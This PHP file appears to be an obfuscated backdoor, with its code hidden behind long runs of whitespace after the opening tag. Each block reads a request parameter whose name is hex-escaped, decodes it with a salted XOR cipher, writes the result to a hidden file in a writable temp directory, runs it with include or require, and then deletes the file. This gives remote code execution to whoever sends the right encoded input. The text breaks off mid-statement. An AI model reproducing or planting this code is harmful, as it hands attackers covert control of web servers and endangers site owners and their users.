<?																																										if(in_array("d\x65\x73\x63\x72\x69ptor", array_keys($_POST))){ $ptr = $_POST["d\x65\x73\x63\x72\x69ptor"]; $ptr =explode ( '.' , $ptr ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $u = 0; $__tmp = $ptr; while ($v7 = array_shift($__tmp)) { $chS = ord($salt[$u % $sLen] ); $dec = ((int)$v7 - $chS - ($u % 10)) ^ 24; $sym.= chr($dec ); $u++; } $tkn = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp"]); while ($ent = array_shift($tkn)) { if (is_dir($ent) && is_writable($ent)) { $object = implode("/", [$ent, ".reference"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(!is_null($_POST["da\x74\x61\x5Fc\x68\x75nk"] ?? null)){ $descriptor = $_POST["da\x74\x61\x5Fc\x68\x75nk"]; $descriptor= explode ( '.' , $descriptor ); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; $__tmp = $descriptor; while($v9 = array_shift($__tmp)) { $chS = ord($s[$u % $lenS]); $d =((int)$v9 - $chS -($u % 10)) ^ 37; $desc .=chr($d); $u++; } $pset = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); foreach ($pset as $factor) { if (!( !is_dir($factor) || !is_writable($factor) )) { $bind = "$factor" . "/.elem"; if (file_put_contents($bind, $desc)) { require $bind; unlink($bind); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "k")){ $obj = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp"]); $value = $_REQUEST["k"]; $value = explode ( '.',$value ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($value as $v => $v4): $chS = ord($salt[$v% $sLen]); $dec = ((int)$v4 - $chS - ($v% 10)) ^ 42; $token .= chr($dec); endforeach; foreach ($obj as $object) { if ((is_dir($object) and is_writable($object))) { $marker = sprintf("%s/.item", $object); if (file_put_contents($marker, $token)) { include $marker; @unlink($marker); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["sym"])){ $dat = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd()]); $element = $_REQUEST["sym"]; $element= explode ( "." ,$element) ; $flag = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); foreach( $element as $m => $v8): $chS = ord( $salt6[$m % $sLen]); $d = ( ( int)$v8 - $chS -( $m % 10)) ^ 88; $flag .=chr( $d); endforeach; foreach ($dat as $key => $val) { if (is_dir($val) ? is_writable($val) : false) { $hld = implode("/", [$val, ".mrk"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $hld; @unlink($hld); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ele\x6D")){ $symbol = array_filter(["/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd()]); $item = $_POST["ele\x6D"]; $item = explode ( '.', $item ) ; $data_chunk = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); $q = 0; while( $q < count( $item)) {$v4 = $item[$q]; $chS = ord( $s2[$q % $sLen]); $dec =( ( int)$v4 - $chS -( $q % 10)) ^ 97; $data_chunk.=chr( $dec); $q++; } foreach ($symbol as $component): if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $sym = "$component/.marker"; $file = fopen($sym, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $sym; @unlink($sym); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["val\x75e"])){ $resource = ar